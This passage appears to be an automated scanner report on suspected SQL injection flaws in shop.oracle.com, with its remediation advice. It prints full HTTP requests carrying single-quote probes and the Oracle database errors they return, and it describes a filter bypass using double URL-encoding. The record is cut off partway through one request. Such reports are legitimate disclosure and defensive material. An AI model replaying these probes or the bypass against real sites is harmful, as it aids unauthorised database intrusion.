SQL Injection, Single Quote, Database Error, CWE-89, CAPEC-66, shop.oracle.com
Report generated by XSS.CX at Mon Oct 17 09:02:41 CDT 2011.
1. SQL injection
1.1. https://shop.oracle.com/pls/ostore/f [p parameter]
1.2. https://shop.oracle.com/pls/ostore/f [s_sess cookie]
1.3. https://shop.oracle.com/pls/ostore/wwv_flow.accept [p_t03 parameter]
1.4. https://shop.oracle.com/pls/ostore/wwv_flow.accept [p_t04 parameter]
1.5. https://shop.oracle.com/pls/ostore/wwv_flow.accept [p_t13 parameter]
1.6. https://shop.oracle.com/pls/ostore/wwv_flow.accept [p_t18 parameter]
1.7. https://shop.oracle.com/pls/ostore/wwv_flow.accept [p_t19 parameter]
1.8. https://shop.oracle.com/pls/ostore/wwv_flow.accept [p_t31 parameter]
1.9. https://shop.oracle.com/pls/ostore/wwv_flow.accept [p_t32 parameter]
2. SSL cookie without secure flag set
3. Cookie without HttpOnly flag set
4. Email addresses disclosed
5. Cacheable HTTPS response
5.1. https://shop.oracle.com/
5.2. https://shop.oracle.com/pls/ostore/f
5.3. https://shop.oracle.com/pls/ostore/wwv_flow.accept
6. HTML does not specify charset
7. Content type incorrectly stated
1. SQL injection
next
There are 9 instances of this issue:
Issue background
SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Remediation background
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:- One common defence is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defence is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defence may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defence to be bypassed.
- Another often cited defence is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
1.1. https://shop.oracle.com/pls/ostore/f [p parameter]
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
https://shop.oracle.com |
Path: |
/pls/ostore/f |
Issue detail
The p parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the p parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Oracle.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /pls/ostore/f?p=dstore:6:7881107130450135::NO:RP,6:P6_LPI:4508925239811805719874' HTTP/1.1 Host: shop.oracle.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: https://shop.oracle.com/pls/ostore/f?p=dstore:home:7881107130450135&tz=-5:00 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: WWV_PUBLIC_SESSION_700=7881107130450135; s_wgw_lv=1315343380912; s_nr6=1315343380933-New; s_nr=1318816660522; p_cur_URL=http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=233; p_org_id=1001; p_lang=US; ORA_MOS_LOCALE=en; s_cc=true; s_sq=%5B%5BB%5D%5D; s_pers=%20gpv_p24%3Dhttps%253A//shop.oracle.com/pls/ostore/f%253Fp%253Ddstore%253Ahome%253A7881107130450135%2526tz%253D-5%253A00%7C1318855646397%3B%20gpw_e24%3Dhttps%253A//shop.oracle.com/pls/ostore/f%253Fp%253Ddstore%253Ahome%253A7881107130450135%2526tz%253D-5%253A00%7C1318855646399%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Doracleglobal%252Coraclestore%253D%252526pid%25253Dostore%2525253A%25252520oracle%25252520store%252526pidt%25253D1%252526oid%25253Dhttps%2525253A//shop.oracle.com/pls/ostore/f%2525253Fp%2525253Ddstore%2525253A6%2525253A7881107130450135%2525253A%2525253ANO%2525253ARP%2525252C6%2525253AP6_LPI%2525253A4508925239811805719%252526ot%25253DA%2526oraclecom%253D%252526pid%25253Docom%2525253Aen-us%2525253A%2525252Fproducts%2525252Fapplications%2525252Febusiness%2525252F%252526pidt%25253D1%252526oid%25253Dfunctiononclick%252528event%252529%2525257Bjavascript%2525253Aif%252528%252521isUserInput%252529%2525257Bdocument.searchForm.q.value%2525253D%252527%252527%2525253B%2525257D%2525257D%252526oidt%25253D2%252526ot%25253DTEXT%3B
|
Response
HTTP/1.1 200 OK Date: Mon, 17 Oct 2011 12:18:28 GMT Server: Oracle-Application-Server-10g Vary: Host Content-Length: 13340 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Product Details - </title>
...[SNIP]... <div class="ErrorPageMessage">ORA-06502: PL/SQL: numeric or value error: character to number conversion error</div> ...[SNIP]...
|
1.2. https://shop.oracle.com/pls/ostore/f [s_sess cookie]
previous
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
https://shop.oracle.com |
Path: |
/pls/ostore/f |
Issue detail
The s_sess cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the s_sess cookie, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Oracle.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. There is probably no need to perform a second URL-decode of the value of the s_sess cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request 1
GET /pls/ostore/f?p=dstore:product:0::NO:6:P6_LPI,P6_PROD_HIER_ID:4509235234901805719915,4509948309481805720010 HTTP/1.1 Host: shop.oracle.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: */* Referer: https://shop.oracle.com/pls/ostore/f?p=dstore:product:0::NO:6:P6_LPI,P6_PROD_HIER_ID:4509235234901805719915,4509948309481805720010 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: WWV_PUBLIC_SESSION_700=7881107130450135; s_wgw_lv=1315343380912; s_nr6=1315343380933-New; s_nr=1318816660522; p_cur_URL=http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=233; p_org_id=1001; p_lang=US; s_sq=%5B%5BB%5D%5D; s_pers=%20gpv_p24%3Dno%2520value%7C1318853882276%3B%20gpw_e24%3Dno%2520value%7C1318853882279%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Doraclecom%253D%252526pid%25253Docom%2525253Aen-us%2525253A%2525252Fproducts%2525252Fapplications%2525252Febusiness%2525252F%252526pidt%25253D1%252526oid%25253Dfunctiononclick%252528event%252529%2525257Bjavascript%2525253Aif%252528%252521isUserInput%252529%2525257Bdocument.searchForm.q.value%2525253D%252527%252527%2525253B%2525257D%2525257D%252526oidt%25253D2%252526ot%25253DTEXT%3B%2527
|
Response 1
HTTP/1.1 200 OK Date: Mon, 17 Oct 2011 11:48:28 GMT Server: Oracle-Application-Server-10g Vary: Host Content-Length: 28711 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
<!DOCTYPE html> <!--[if lt IE 7 ]> <html class="ie6"> <![endif]--> <!--[if IE 7 ]> <html class="ie7 no-css3"> <![endif]--> <!--[if IE 8 ]> <html class="ie8 no-css3"> <![endif]--> <!--[if IE 9 ]> ...[SNIP]... <!-- End of Product Details -->Invalid PL/SQL expression condition: ORA-01403: no data found <!--CONDITION: ds_featured_pkg.product_exists ( p_prod_hier_id => ...[SNIP]...
|
Request 2
GET /pls/ostore/f?p=dstore:product:0::NO:6:P6_LPI,P6_PROD_HIER_ID:4509235234901805719915,4509948309481805720010 HTTP/1.1 Host: shop.oracle.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: */* Referer: https://shop.oracle.com/pls/ostore/f?p=dstore:product:0::NO:6:P6_LPI,P6_PROD_HIER_ID:4509235234901805719915,4509948309481805720010 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: WWV_PUBLIC_SESSION_700=7881107130450135; s_wgw_lv=1315343380912; s_nr6=1315343380933-New; s_nr=1318816660522; p_cur_URL=http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=233; p_org_id=1001; p_lang=US; s_sq=%5B%5BB%5D%5D; s_pers=%20gpv_p24%3Dno%2520value%7C1318853882276%3B%20gpw_e24%3Dno%2520value%7C1318853882279%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Doraclecom%253D%252526pid%25253Docom%2525253Aen-us%2525253A%2525252Fproducts%2525252Fapplications%2525252Febusiness%2525252F%252526pidt%25253D1%252526oid%25253Dfunctiononclick%252528event%252529%2525257Bjavascript%2525253Aif%252528%252521isUserInput%252529%2525257Bdocument.searchForm.q.value%2525253D%252527%252527%2525253B%2525257D%2525257D%252526oidt%25253D2%252526ot%25253DTEXT%3B%2527%2527
|
Response 2
HTTP/1.1 200 OK Date: Mon, 17 Oct 2011 11:48:28 GMT Server: Oracle-Application-Server-10g Vary: Host Content-Length: 35169 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
<!DOCTYPE html> <!--[if lt IE 7 ]> <html class="ie6"> <![endif]--> <!--[if IE 7 ]> <html class="ie7 no-css3"> <![endif]--> <!--[if IE 8 ]> <html class="ie8 no-css3"> <![endif]--> <!--[if IE 9 ]> ...[SNIP]...
|
1.3. https://shop.oracle.com/pls/ostore/wwv_flow.accept [p_t03 parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
https://shop.oracle.com |
Path: |
/pls/ostore/wwv_flow.accept |
Issue detail
The p_t03 parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the p_t03 parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Oracle.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
POST /pls/ostore/wwv_flow.accept HTTP/1.1 Host: shop.oracle.com Connection: keep-alive Content-Length: 2379 Cache-Control: max-age=0 Origin: https://shop.oracle.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: https://shop.oracle.com/pls/ostore/f?p=dstore:product:0::NO:6:P6_LPI,P6_PROD_HIER_ID:4509235234901805719915,4509948309481805720010 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: WWV_PUBLIC_SESSION_700=7881107130450135; s_wgw_lv=1315343380912; s_nr6=1315343380933-New; s_nr=1318816660522; p_cur_URL=http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=233; p_org_id=1001; p_lang=US; s_sq=%5B%5BB%5D%5D; s_pers=%20gpv_p24%3Dhttps%253A//shop.oracle.com/pls/ostore/f%253Fp%253Ddstore%253Aproduct%253A0%253A%253ANO%253A6%253AP6_LPI%252CP6_PROD_HIER_ID%253A4509235234901805719915%252C4509948309481805720010%7C1318853885249%3B%20gpw_e24%3Dhttps%253A//shop.oracle.com/pls/ostore/f%253Fp%253Ddstore%253Aproduct%253A0%253A%253ANO%253A6%253AP6_LPI%252CP6_PROD_HIER_ID%253A4509235234901805719915%252C4509948309481805720010%7C1318853885250%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Doracleglobal%252Coraclestore%253D%252526pid%25253Dostore%2525253A%25252520product%25252520details%25252520%2525253A%25252520oracle%25252520crystal%25252520ball%252526pidt%25253D1%252526oid%25253Djavascript%2525253ASWaddToCart%25252528this%25252529%2525253B%252526ot%25253DA%2526oraclecom%253D%252526pid%25253Docom%2525253Aen-us%2525253A%2525252Fproducts%2525252Fapplications%2525252Febusiness%2525252F%252526pidt%25253D1%252526oid%25253Dfunctiononclick%252528event%252529%2525257Bjavascript%2525253Aif%252528%252521isUserInput%252529%2525257Bdocument.searchForm.q.value%2525253D%252527%252527%2525253B%2525257D%2525257D%252526oidt%25253D2%252526ot%25253DTEXT%3B
p_flow_id=700&p_flow_step_id=6&p_instance=7881107130450135&p_page_submission_id=1395912309489726&p_request=ADD_TO_CART&p_arg_names=206263118184316685&p_t01=Store+Search&f01=2275956057831485281871&f02=11.1.2.1.0&f03=1&p_arg_names=252655103147885539&p_t02=&p_arg_values=0439721E627C30CB548DADA8E65D95BA&p_arg_names=207117723716793227&p_t03=4509235234901805719915'&p_arg_values=A5E94BE6CB06C6C78288A1BC1F3830A4&p_arg_names=250319705164410242&p_t04=4509235234901805719915&p_arg_values=A5E94BE6CB06C6C78288A1BC1F3830A4&p_arg_names=207117929257794851&p_t05=4509816130 ...[SNIP]...
|
Response
HTTP/1.1 200 OK Date: Mon, 17 Oct 2011 11:51:32 GMT Server: Oracle-Application-Server-10g Vary: Host Content-Length: 13366 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Product Details - Oracle Cryst ...[SNIP]... <div class="ErrorPageMessage">ORA-06502: PL/SQL: numeric or value error: character to number conversion error</div> ...[SNIP]...
|
1.4. https://shop.oracle.com/pls/ostore/wwv_flow.accept [p_t04 parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
https://shop.oracle.com |
Path: |
/pls/ostore/wwv_flow.accept |
Issue detail
The p_t04 parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the p_t04 parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Oracle.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
POST /pls/ostore/wwv_flow.accept HTTP/1.1 Host: shop.oracle.com Connection: keep-alive Content-Length: 2379 Cache-Control: max-age=0 Origin: https://shop.oracle.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: https://shop.oracle.com/pls/ostore/f?p=dstore:product:0::NO:6:P6_LPI,P6_PROD_HIER_ID:4509235234901805719915,4509948309481805720010 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: WWV_PUBLIC_SESSION_700=7881107130450135; s_wgw_lv=1315343380912; s_nr6=1315343380933-New; s_nr=1318816660522; p_cur_URL=http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=233; p_org_id=1001; p_lang=US; s_sq=%5B%5BB%5D%5D; s_pers=%20gpv_p24%3Dhttps%253A//shop.oracle.com/pls/ostore/f%253Fp%253Ddstore%253Aproduct%253A0%253A%253ANO%253A6%253AP6_LPI%252CP6_PROD_HIER_ID%253A4509235234901805719915%252C4509948309481805720010%7C1318853885249%3B%20gpw_e24%3Dhttps%253A//shop.oracle.com/pls/ostore/f%253Fp%253Ddstore%253Aproduct%253A0%253A%253ANO%253A6%253AP6_LPI%252CP6_PROD_HIER_ID%253A4509235234901805719915%252C4509948309481805720010%7C1318853885250%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Doracleglobal%252Coraclestore%253D%252526pid%25253Dostore%2525253A%25252520product%25252520details%25252520%2525253A%25252520oracle%25252520crystal%25252520ball%252526pidt%25253D1%252526oid%25253Djavascript%2525253ASWaddToCart%25252528this%25252529%2525253B%252526ot%25253DA%2526oraclecom%253D%252526pid%25253Docom%2525253Aen-us%2525253A%2525252Fproducts%2525252Fapplications%2525252Febusiness%2525252F%252526pidt%25253D1%252526oid%25253Dfunctiononclick%252528event%252529%2525257Bjavascript%2525253Aif%252528%252521isUserInput%252529%2525257Bdocument.searchForm.q.value%2525253D%252527%252527%2525253B%2525257D%2525257D%252526oidt%25253D2%252526ot%25253DTEXT%3B
p_flow_id=700&p_flow_step_id=6&p_instance=7881107130450135&p_page_submission_id=1395912309489726&p_request=ADD_TO_CART&p_arg_names=206263118184316685&p_t01=Store+Search&f01=2275956057831485281871&f02= ...[SNIP]... s=0439721E627C30CB548DADA8E65D95BA&p_arg_names=207117723716793227&p_t03=4509235234901805719915&p_arg_values=A5E94BE6CB06C6C78288A1BC1F3830A4&p_arg_names=250319705164410242&p_t04=4509235234901805719915'&p_arg_values=A5E94BE6CB06C6C78288A1BC1F3830A4&p_arg_names=207117929257794851&p_t05=4509816130221805719992&p_arg_values=498C20DC5AC4EBAF85B8E6B2B473B6A4&p_arg_names=207404924623578601&p_t06=1&p_arg_na ...[SNIP]...
|
Response
HTTP/1.1 200 OK Date: Mon, 17 Oct 2011 11:51:43 GMT Server: Oracle-Application-Server-10g Vary: Host Content-Length: 13367 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Product Details - Oracle Cryst ...[SNIP]... <div class="ErrorPageMessage">ORA-06502: PL/SQL: numeric or value error: character to number conversion error</div> ...[SNIP]...
|
1.5. https://shop.oracle.com/pls/ostore/wwv_flow.accept [p_t13 parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
https://shop.oracle.com |
Path: |
/pls/ostore/wwv_flow.accept |
Issue detail
The p_t13 parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the p_t13 parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Oracle.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
POST /pls/ostore/wwv_flow.accept HTTP/1.1 Host: shop.oracle.com Connection: keep-alive Content-Length: 2379 Cache-Control: max-age=0 Origin: https://shop.oracle.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: https://shop.oracle.com/pls/ostore/f?p=dstore:product:0::NO:6:P6_LPI,P6_PROD_HIER_ID:4509235234901805719915,4509948309481805720010 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: WWV_PUBLIC_SESSION_700=7881107130450135; s_wgw_lv=1315343380912; s_nr6=1315343380933-New; s_nr=1318816660522; p_cur_URL=http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=233; p_org_id=1001; p_lang=US; s_sq=%5B%5BB%5D%5D; s_pers=%20gpv_p24%3Dhttps%253A//shop.oracle.com/pls/ostore/f%253Fp%253Ddstore%253Aproduct%253A0%253A%253ANO%253A6%253AP6_LPI%252CP6_PROD_HIER_ID%253A4509235234901805719915%252C4509948309481805720010%7C1318853885249%3B%20gpw_e24%3Dhttps%253A//shop.oracle.com/pls/ostore/f%253Fp%253Ddstore%253Aproduct%253A0%253A%253ANO%253A6%253AP6_LPI%252CP6_PROD_HIER_ID%253A4509235234901805719915%252C4509948309481805720010%7C1318853885250%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Doracleglobal%252Coraclestore%253D%252526pid%25253Dostore%2525253A%25252520product%25252520details%25252520%2525253A%25252520oracle%25252520crystal%25252520ball%252526pidt%25253D1%252526oid%25253Djavascript%2525253ASWaddToCart%25252528this%25252529%2525253B%252526ot%25253DA%2526oraclecom%253D%252526pid%25253Docom%2525253Aen-us%2525253A%2525252Fproducts%2525252Fapplications%2525252Febusiness%2525252F%252526pidt%25253D1%252526oid%25253Dfunctiononclick%252528event%252529%2525257Bjavascript%2525253Aif%252528%252521isUserInput%252529%2525257Bdocument.searchForm.q.value%2525253D%252527%252527%2525253B%2525257D%2525257D%252526oidt%25253D2%252526ot%25253DTEXT%3B
p_flow_id=700&p_flow_step_id=6&p_instance=7881107130450135&p_page_submission_id=1395912309489726&p_request=ADD_TO_CART&p_arg_names=206263118184316685&p_t01=Store+Search&f01=2275956057831485281871&f02= ...[SNIP]... W+License&p_arg_values=6130E111F0804409DCF473ECFD337202&p_arg_names=207419606484914025&p_t12=1&p_arg_values=DC56F6004D1F7C0C2BA5A478BBDE5013&p_arg_names=207480026756751075&p_t13=4509948309481805720010'&p_arg_values=5915CD01B4537EDB4FD2C5CB71DCAEB7&p_arg_names=207483131960828293&p_t14=&p_arg_values=0439721E627C30CB548DADA8E65D95BA&p_arg_names=207483316508833283&p_t15=&p_arg_values=0439721E627C30CB54 ...[SNIP]...
|
Response
HTTP/1.1 200 OK Date: Mon, 17 Oct 2011 11:53:59 GMT Server: Oracle-Application-Server-10g Vary: Host Content-Length: 13367 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Product Details - Oracle Cryst ...[SNIP]... <div class="ErrorPageMessage">ORA-06502: PL/SQL: numeric or value error: character to number conversion error</div> ...[SNIP]...
|
1.6. https://shop.oracle.com/pls/ostore/wwv_flow.accept [p_t18 parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
https://shop.oracle.com |
Path: |
/pls/ostore/wwv_flow.accept |
Issue detail
The p_t18 parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the p_t18 parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Oracle.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
POST /pls/ostore/wwv_flow.accept HTTP/1.1 Host: shop.oracle.com Connection: keep-alive Content-Length: 2379 Cache-Control: max-age=0 Origin: https://shop.oracle.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: https://shop.oracle.com/pls/ostore/f?p=dstore:product:0::NO:6:P6_LPI,P6_PROD_HIER_ID:4509235234901805719915,4509948309481805720010 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: WWV_PUBLIC_SESSION_700=7881107130450135; s_wgw_lv=1315343380912; s_nr6=1315343380933-New; s_nr=1318816660522; p_cur_URL=http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=233; p_org_id=1001; p_lang=US; s_sq=%5B%5BB%5D%5D; s_pers=%20gpv_p24%3Dhttps%253A//shop.oracle.com/pls/ostore/f%253Fp%253Ddstore%253Aproduct%253A0%253A%253ANO%253A6%253AP6_LPI%252CP6_PROD_HIER_ID%253A4509235234901805719915%252C4509948309481805720010%7C1318853885249%3B%20gpw_e24%3Dhttps%253A//shop.oracle.com/pls/ostore/f%253Fp%253Ddstore%253Aproduct%253A0%253A%253ANO%253A6%253AP6_LPI%252CP6_PROD_HIER_ID%253A4509235234901805719915%252C4509948309481805720010%7C1318853885250%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Doracleglobal%252Coraclestore%253D%252526pid%25253Dostore%2525253A%25252520product%25252520details%25252520%2525253A%25252520oracle%25252520crystal%25252520ball%252526pidt%25253D1%252526oid%25253Djavascript%2525253ASWaddToCart%25252528this%25252529%2525253B%252526ot%25253DA%2526oraclecom%253D%252526pid%25253Docom%2525253Aen-us%2525253A%2525252Fproducts%2525252Fapplications%2525252Febusiness%2525252F%252526pidt%25253D1%252526oid%25253Dfunctiononclick%252528event%252529%2525257Bjavascript%2525253Aif%252528%252521isUserInput%252529%2525257Bdocument.searchForm.q.value%2525253D%252527%252527%2525253B%2525257D%2525257D%252526oidt%25253D2%252526ot%25253DTEXT%3B
p_flow_id=700&p_flow_step_id=6&p_instance=7881107130450135&p_page_submission_id=1395912309489726&p_request=ADD_TO_CART&p_arg_names=206263118184316685&p_t01=Store+Search&f01=2275956057831485281871&f02= ...[SNIP]... 83316508833283&p_t15=&p_arg_values=0439721E627C30CB548DADA8E65D95BA&p_arg_names=207519617010820548&p_t16=&p_arg_names=207519824975822807&p_t17=&p_arg_names=207743514465766863&p_t18=2627214932896553482'&p_arg_names=218393024595890180&p_t19=&p_arg_names=218443119998950207&p_t20=1&p_arg_names=218604801508085341&p_t21=Y&p_arg_names=218673005668381044&p_t22=See+Configurations&p_arg_names=218673227832387 ...[SNIP]...
|
Response
HTTP/1.1 200 OK Date: Mon, 17 Oct 2011 11:55:09 GMT Server: Oracle-Application-Server-10g Vary: Host Content-Length: 13367 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Product Details - Oracle Cryst ...[SNIP]... <div class="ErrorPageMessage">ORA-06502: PL/SQL: numeric or value error: character to number conversion error</div> ...[SNIP]...
|
1.7. https://shop.oracle.com/pls/ostore/wwv_flow.accept [p_t19 parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
https://shop.oracle.com |
Path: |
/pls/ostore/wwv_flow.accept |
Issue detail
The p_t19 parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the p_t19 parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Oracle.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
POST /pls/ostore/wwv_flow.accept HTTP/1.1 Host: shop.oracle.com Connection: keep-alive Content-Length: 2379 Cache-Control: max-age=0 Origin: https://shop.oracle.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: https://shop.oracle.com/pls/ostore/f?p=dstore:product:0::NO:6:P6_LPI,P6_PROD_HIER_ID:4509235234901805719915,4509948309481805720010 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: WWV_PUBLIC_SESSION_700=7881107130450135; s_wgw_lv=1315343380912; s_nr6=1315343380933-New; s_nr=1318816660522; p_cur_URL=http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=233; p_org_id=1001; p_lang=US; s_sq=%5B%5BB%5D%5D; 